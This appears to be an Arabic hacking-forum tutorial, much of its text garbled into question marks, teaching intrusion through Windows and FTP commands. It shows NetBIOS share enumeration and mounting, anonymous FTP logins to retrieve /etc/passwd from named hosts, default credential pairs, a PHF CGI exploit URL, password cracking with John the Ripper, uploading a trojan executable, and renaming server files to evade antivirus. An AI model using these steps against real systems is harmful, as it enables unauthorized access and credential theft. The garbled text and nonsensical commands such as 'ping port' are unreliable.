?????? ????? ..
???? ?????? ????? ????? ???? ??? ????? ???????? ?? ???? NetBios Attack
??? ??? ??? ????? ??? ??????? ???? ?? ??? ??? ?????????
??? ???? ???? ????? ...

??? ?????? ???? ????? ???? ??? ?? ??? ???? Home Network ?? ?? ??? ??? ?? ????? ??????? ??? LAN ?? WAN ?? MAN ?????? ? ???? ???? ?????? ????? ?????? ??? ???? ???? ??? ??????.

???????? ??? ???? ????? : ???? ??? IP ????? ?????? ?????? ??? ???????? ?????? ?????? ?? ???????? ???? .

1- ??? ????? ??? IP ????? ?????? ?????? 207.107.1.1 ( ??? ????? ???????).



2- ???? ???? ??? START ?? RUN ?? ???? CMD ????? ?? ???? ????? .



3- ???? ???? ???? ????? Nbtstat –A IP ADRESS : ?? ???? ?? ???? IP ????? ?? ???? IP ADRESS ? ?? ???? ENTER .



4- ????? ?? ?????? ?????? :

NetBIOS Remote Machine Name Table

____________________________________

Name Type Status

-------------------------------------------

J-1 <00> UNIQUE Registered

WORK <00> GROUP Registered

J-1 <03> UNIQUE Registered

J-1 <20> UNIQUE Registered

WORK <1E> GROUP Registered

WORK <1D> UNIQUE Registered

__MSBROWSE__.<01>GROUP Registered

?????? : ?? ??? ????????? ??????? ?? ?????? .



5- ????? ?????? ?? ??? <> ???? ???? HEX CODE VALUE ? ??? ????? ??? ?? ??? ??? 20 ?? ??? ??????? ???? ???? ???? ????? PRINTER OR FILES SHARED TURNED ON ? ??? ?? ???? ???? ????? ??? ???? ????? ?????? ???? ???????? ??? ???????? ???? ??? ???? ?? ????? ??????? ????? ????? ???? ????????? ?? ???????.



6- ???? ????? ?????? ??? ??????? ???? ???? ???????? ?? ??????? ???? ???????? ??? ????? ???? ???? ?????? ????? ?????? ?? ???? ?????:

Net view \\



7- ??? ???? ?? ?????? ?????? ???? ??? ??? ???? ??????? ???? ???? ??????? ???? :

Shared resources at \\ip_address

Sharename Type Comment

MY DOCUMENTS Disk

TEMP Disk



8- ???? ????? ?????? ??? ??? TEMP ???????? ??? :

Net use x: \\\temp



???? ????? NSETBIOS ?? ??????? ?? ???????? ? ???? ??? ?????? ?? ?????????? ?????? ??????? ?? ?????? ??? ?????? ??????? ????? ? ???? ???? ????? ????? ?????? ?????? ????? ?? ??? ???? ..

* ??? ?????? ?????? ???? ?? ?? ?? ???? ??? ???????? ????? ?????? ?????? ???????



User name-Password



???? ?????? ??????? ?? ??? ????



PASSWD ?????



??? ??????? ??? ??? ????? ?? ???? ?? ??



?? ?? ?? ?? ???



FTP=File Transfer Protocol ???????? ??? ???????



?????? ??????? ??????? ???? ??? ????? ?? ???? ??????



start==>run ???? ?? ?????



????? telnet



????? ?????? ???? ???Remote System ==> connect



?? ???? ?????? ?? Host Name ????



kahane.org ?? ?????? ????? ??



??? PORT ???? 21 ??? ?????? ????? ????? ?? ??



?? ???? connect



???? ?? ???? ?? ??????? ???? ????..?? ??? ?? ????!! ???? source code



user anonymous



?? ???? ????? ???? ??????? ???? ???? ????



pass zzzoozz@yahoo.com



???? ?? ???? ????? ?? ????? ????? ?????



???? ????????? ????? ??? ????? ?????? ?? ??? ?????? ???? ??????? ???? ???? ??????? ?????? ?? ????..



????? ????? ??? ??? ?????????



??? ??? ??? ?? ???? ??? ????? ??? ??????? ??????? ?? ???? ?? ?????? ?? ?? ?? ???



cute ftp - ws_ftp



?????? ??? ?????? ??? ??????? ?????? ?????? ???? ?? ??? ???????



ftp.kahane.org



????? ??? ????? ?? ?????? ????



retr /etc/passwd



/etc ?? ?????? ???? ????? ????? passwd ?????? ??? ?????? ???? ??? ????????? ??????? ???? ????? ??????



Sunos 5.0 etc/shadow ?? etc/passwd

Linux etc/shadow ?? etc/passwd

BSD4.3 –RENO etc/master.passwd

AIX etc/security/passwd

NT ?????? scripts/passwd



?????? ????? ??? ????????? ??? passwd ? admin.pwl ? ?????

????? ????? ?????? exe ?? ???? ????? ????



???? ??????? ???????:-

????>?????>????? command ?? (start>runcopy server.exe server.com ???? server ?? ??? ?????? ???? ????? ???? ???????? ??? com,scr,bat ?????? ???????? ?????????? ??? ??????? ?? ??????? ???????? ????? ????????? ?? ?????? ??? ?? ??? ?????? ?????? ?????? ?????? ???? ??????.



???? ????? ???? ???? ??? ?????

??????? ???? netstat



==============================================



NETSTAT ???? ?????? ???? ???? ??????? ???????

NETSTAT ?????-A ???? ????? ?????? ??????? ???????

NETSTAT ?????-E ???? ???? ?????? ???? ???

NETSTAT ?????-N ???? ????? ???????? ????????? ???????

NETSTAT ?????-P ???? ???????????? ??????? ??????

NETSTAT ?????-R ???? ????? ??????? ?? ?????

NETSTAT ?????-S ???? ???? ?????? ???????? ???????



??? ????? ?????? ??? ???? ??????:

FTP

???? ? ????? ???????? ??? ?? ???? ??? ?????? ??????

21

????? ? ?? ?????? ????? ???

FTP

? ????? ?? ?? ?????? ????? ???? ?? ?????? ????? ?????? ? ?? ????? ? ?? ??????

Superscanne

????? ????? ?? ?????? ????? ????? ??? ?????? ??????? ? ??

???? ???

Start

??

Run

?? ????

ftp –n

???? ?? ????? ?? ????? ????? ?????

FTP&g

??? ??? ?? ??? ????

? ????? ????

Open

?? ???? ???

?????

Enter

????? ?? ??????? ???????

FTP&g

To

???? ???

To

??? IP ?????? ?? ???? ??? ?????

? ????? ??? ???



??? ????? ??? ??? ???? ??? ????? ????

Connected to www.assassin.com

220 websrv1 Microsoft FTP Service (Version 4.0).

? ???? ???? ??????? ???????

ftp&gquote user ftp

??? ????? ??? ??? ???? ??? ????? ????

331 Anonymous acces allowed, send identify (e-mail name) as password.

? ???? ???? ??????? ???????

ftp&gquote cwd ~root

??? ????? ??? ??? ???? ??? ????? ????

530 Please login with USER and PASS

?? ???? ??????? ???????

ftp&gquote pass ftp

??? ????? ??? ??? ???? ??? ????? ????

? ???? ?? ???????? ???? ????????



230 Anonymous user logged in.

???????? ??? ????? ?? ???? ??????? ?? ??? ??????

?? ???? ???? ??? ?? ???? ????????

????? ???????

? ???? ?? ??? ????? ???? ?????? ??? ?? ???? ?? ??????? ??? ???? ???? ? ?? ???? ???????? ?? ??? ?? ???? ? ?? ???? ??? ????? ??????? ? ??? ????? ?? ????? ????????? ?? 20 ????? ? ??? ???? ?????? ? ?????? ????? ?? ??? ?? ???? ?? ??? ????? ???

??? ???? ??????????? ??????? ??????? ??? ???? ????????



Pwd

??? ??? ?? ?????? ?????? ????

Cd

??????? ???? ????

Cd black

?? ??? ?????? ??? ??????? ???? ?????? ????

Ls

??? ???? ?? ????? ?????? ?? ?????? ????

Get

??? ???? ??? ??? ?????? ???? ?????

????

Get black.exe

Put

??????? ???**?? ?

Get

???? ?? ???? ??? ?? ??? ?????? ???? ????? ? ???? ??

?? ???? ??????

????

Put black.exe

Clos

???? ??????? ?? ??????





??? ??? ??????? ?????? ??????? ??? ????? ??????? ??? ????? ????? ?? ???? ?????? ?? ????? ??????? ? ????? ? ???????

Codes: Signification:

110 Restart marker reply.

120 Service ready in nnn minutes. (nnn est un temps)

125 Data connection already open; transfer starting.

150 File status oka about to open data connection.

200 Command okay.

202 Command not implemented, superfluous at this site.

211 System status, or system help reply.

212 Directory status.

213 File status.

214 Help message.

215 NAME system type.

220 Service ready for new user.

221 Service closing control connection.

225 Data connection open; no transfer in progress.

226 Closing data connection.

227 Entering passive mode (h1, h2, h3, h4, p1, p2).

230 User logged in, proceed.

250 Requested file action okay, completed.

257 "PATHNAME" created.

331 User name okay, need password.

332 Need account for login.

350 Requested file action pendingfurther information.

421 Service not available, closing control connection.

425 Can't open data connection.

426 Connection closed; transfer aborded.

450 Requested file action not taken. (Fichier déjà utilisé par autre chose)

451 Requested action aborded: local error processing.

452 Requested action not taken. (Pas assez de mémoire pour exécuter l'action)

500 Syntax error, command unrecognized.

501 Syntax error in parameters or arguments.

502 Command not implemented.

503 Bad sequence of commands.

504 Command not implemented for that parameter.

530 Not logged in.

532 Need account for storing files.

550 Requested action not taken. (Fichier non trouvé, pas d'accès possible,...)

551 Requested action aborded: page type unknown.

552 Requested file action aborded.

553 Requested action not taken. (Nom de fichier non attribué)

------------------------

?????? ??????? :

???? ??? ?????? ???? ???? ???????? ????? ??? ???? ??? ????? ??????? ??? ????? ????? ??????? ??? ...

??? ???? ???? ??????? ?? ?????? ???? Telnet://IPNumberort ??? ?? IPNumber ?? ??? ???? ?? ????? ??????? ??? port ?? ??? ?????? ?????? ?????? ????? ?? ???? ??? ????? ?? ???? ??? ??????? ??????? :

21 - 25 - 32(???????) - 99 - 2001

??????? ?????? ?? ??????? ?????? ???? ??? ??? ???? ??????

==================

3 ?? ?????? ??????? :

??? ?? ???? ?? ?????? ???? ???? ????? ??(?? ???????? ShadowSecurityScanner ???? ?????) ???? ?? http://packetstorm.securify.com/ ?? ?????? ??? ?????? ???? ??? ???? ?? ?? ???? ?? ???????? ????? ?? ???? SSS .

????? ??? ?? ???? ?????? ?? ?????? ???? ?? ???? ??? ?????? ?? ??????? ?? ??????? ?? ????? :

??? ???????? : ???? ??????

anonymous : anonymous

guest : guest

root : root

sys : sys

sys : sysadm

sys : system

games : games

ftp : ftp

mail : mail

??? ?? ????(?? ??? ??? ???? ??????? ?? ??????? ???** Unix ?????? ?????? ?????? ???????? ???????? ?????) ??? ??????? :

young

test

???? ???? ??? ????? ????? ?? ????? unpassworded accounts

?? ???????? ????? ????? ????? ?? .

???? ????? :

GET /etc/passwd ? GET /etc/group ? GET /etc/shadow

?????? : ??? ????? ?? ??? ??? ?? ???? :

data = download

??? ????? ?? ?????? ???????? .

===================================

???? ????? psswd ?

????? ?? ????? ??? ??????? ???? ?????? ...?????????? ????? ????? ?? ????? ??????? ???root .

?????? ????????? : ???root ?? ????? ???? ?????? ?????? ??? ??? ?????? ?????? ?? ??? ?? ??? ?? ????? ?????? ???????? ?? ???? ?? ?????? ??? ?????? ?????? ????? su username ??? ????? ??? ??????? .

??? ????? ?? ???? ????? :

1 ?? ???? ???? ????? ???? ??? ??????? ???????? ?? ????? etc/ ????? ??? .

2 ?? ????? ?? shadow ???? ???? ????? ??? ???shadow ?? ?? ???? ??unshadow .

3 ?? ????? ??? ?? ?? ..

?????? ??? ??? ?? ?????? ??????? ?? ???? ??????????? ?????? ?? ?? ???? ??

??????????? ????? ... ??? ????? ??????? ?????? :

sirhack:89fGc%^7&a, Ty:100:100: Sir Hackalot: /usr/sirhack:/bin/sh

??? ??? ???? ????????? ???????:

1 ?? ??? ???????? : sirhack .

2 ?? ???? ???? : 89fGc%^7 .

3 ?? ????? ??????? : Sir Hackalot .

4 ?? ???? ?????? : usr/sirhack/

5 ?? ??????(??? ?????? ?? ???** ?? ????**) : bin/sh/

??? ????? ????? ???? ????? .

===================================

?? ?? ????? group ?

??? ????? ???? ????? ?????????? ?? ???? ????(????? ?????) ??????? ??? ????? ????? passwd ??? ??? ?? ???? ?????? .

===================================

?? ?? ????? shadow ?

?? ???? ??? ????? psswd ???? ??? ????? ??? ??? ????? ???? ?? ???? ????? ...

===================================

??? ??? ??????? ?

?????? ??? ???????? :

1 ?? Cracker Jack .

2 ?? John the ripper .

?????? ???? ????? ???? ??????? ????? ?????**(????**) ...



???? ??????**

http://www.openwall.com/john/john-1.6.tar.gz



???? ????????

http://www.openwall.com/john/john-16w.zip



++++++++++++++++++++++++++++++++++++++++++++++++++





???? ?? ???? ??? ?? ??? ?????? ?????? ?? ?? ?? ????? ??? ???? ????? ????? ???????? ?????? ??? ?????

??? ????? ?? ???? ??? ????????

????? ???? ????? ??? ???? ?????



??? ???? ?????

? ???? enter ?? ????? ?????:

??? ?? ????? ???? ??? ??????? ??????** ??????

HELP = HELP

COPY = CP

MOVE = MV

DIR = LS

DEL = RM

CD = CD

??? ???? ??? ????? ???????

???? ??? WHO ??? ??? ???? ??? ????? ??? ??????? ???? ??? FINGER (??? ????????) ??? FINGER ??? ???????? ????? ???? ??????? ????? ??? ??? ??????? ??? ???? ?????? ??? ?????



????? ??????:

???? ?????** ?? ??????? ????? ????? ?? ????? ???? ?? etc directory/ ???? ?????? passwd ???? ??? ????? ??? ?? ???? ??? ????? ????? ??????? ???? ???? ??

???? ????? ??? ?????? ???? ??????????? ????? ??????? ???? ???? ????????? ????

?? ??? ?? ??? ?????? ???? Cracker Jack ?? ??? ??????? ??????? ????? ??? ?????? ?? ?????????? ??????? http://www.geocities.com/SiliconValley/9185

????? ???? ????????? ???? ?? sable.ox.ac.uk/pub/wordlists ????? ?? ????? 4 ???? ???? ????? ???? 8 ???? ???? ???? ???? ?? ??? ????????

??? ?? ??? ???? ??? ???? ?????? Cracker Jack ?? ???? ?? ??? ???? ????? ?? ???????? ????? ?????



????? ??????(??????):

?????? ???? ??????????? ???? ?? ???? ???? ??? ??????? ???? ??? ?? ???? ??? ????? ???? ???? ??? ????????? ?? ??????? ????? ?? ?????? ?????

????? ???? ??????? ???? anonymously ??? ???? ???? ftp?????? ???? ?????? ???? ??????????? ???? ???? ???? etc directory/ ???? ??? ????????? ????? ????? ?? ???

???? ????? ??? ?????? ??? ??? ????????? ???? ???????? Cracker Jack ???? ????????? ?? ???? ?? ??? ??? ????? ??? ???? ???? ????? ??????? ?? ????? ????? PHF ??? ???? ??? ?? ?? ????????? ?????? ???????



????? ???? ???? ????? ???? ???**??????

http://xxx.xxx.xxx/cgi-bin/phf?Qali...t%20/etc/passwd

?????? ???? ???**?? ???? ????? ?????? ??? ???? ??????? ??? ???? ?? ???? ??? ????????? ???? ????? ????? ?? ???? ??? ??????

??? ?? ????? ???????? ?????? ????????? ???? ???? ????? ??? ?????? ???? ??????????? ???? ???? ?? ???? ???? ????? ?? ???? ?? ??????

???? ?? ??? ??????? ???? ??????? ??? backup ?????????? ????? ???? ??? ???? ?? etc/shadow/ ?? ???? ????? ????? ?? ????? ???? ????

????? ????? ??? ???? ??? ?? ???? apache ???? ???? ???? ??? ??????? ??????? ??????



????? ??????:

??? ??? ???? ???????????? ?????? ??? ???? ???? ?????? ???? ???? ?????? ?????

???

???? ???? ?? ????? ??? ??????? ????? ?????? ??? ?????????? ????? ???????? ???? ???? ?? ???? ??? ????? ????? ???? ????? ??? ???????



UNIX,linux, aix, irix, ultrix, bsd, or sometimes even DOS or Vax / Vms)



??????:?? ????? ??? ?? ???? ???? ?????** ???? ??? ???? ?? ???? ???? ????? ??? ??? ????? ??????? ?? ??? ????? ??? ???? ????? ??????** ?? ????? ????? ?????**

??? ??? ???? ??? ???????? ??? ??? ?? ???? ?? ??????? ??????? ??????? ??? ?????** ???? ??? ??????? ??? ????? ????? ???? ?????

???? ??? ????? ??? ???? ??? ????? ?? ??? ?? ???? ???? ?????? ???? ????? ???? ????? ??? ??????? ??? ????? ??? ?? ???? ??? ?????? ?? ???? ?? ?? ?? ????

????? ???? ???? ???? ??? ???? ??????? ?????? ???????





???????

+++++++++++++++++++++++++++





????? ??????? port ???????? ???????



??? ??? ????? ??? ?????? ??? ?? ????? ?? ?????? ????? ???????? ( ???????? ) ?????? ?????? ?? ??? ?????? ???? ?? ?? ?????? ?????? ????? ????? ?????? ??? ????? ......



???? ??? ??? ??????? ???? ?? ?????? ?????? ????? ???? ???????? ( ??????? ??????? ) ???????? ??? ??????? .





????? ????? ??????? ??? ?? :

???? ???:

Start&gRun ????? &l ?????



????? ????? ??????

command.com



????? ?? ????? ???? ????:

ping host





????? ? ????:

ping port





? ???? enter



?? ????? ? ????:

ping port1027

????? enter

? ????? ?? ????:

ping port80





? ???? enter

?? ????:

ping

? ???? enter



?? ????:

ping port

? ???? enter





? ???? ????? ??????.. ??? ??? ?????? ???? ?? ?? ????? ?? ? ??? ?? ??? ???? ??????? ?? ??? ?????? ???????.

======================================



&&&&&&&&&&&&&&&&&&&

??? ?????? ?????? ???????? ????? ???? netbios

http://digitalx.150m.com/1.htm

&&&&&&&&&&&&&&&&&&&

الموضوع الأصلي : اجمل واقوى واخطر اوامر الدوس للهكر المبتدئ والمتميز // المصدر : أمان الجزائر | Dz Security // الكاتب: Dz TEAM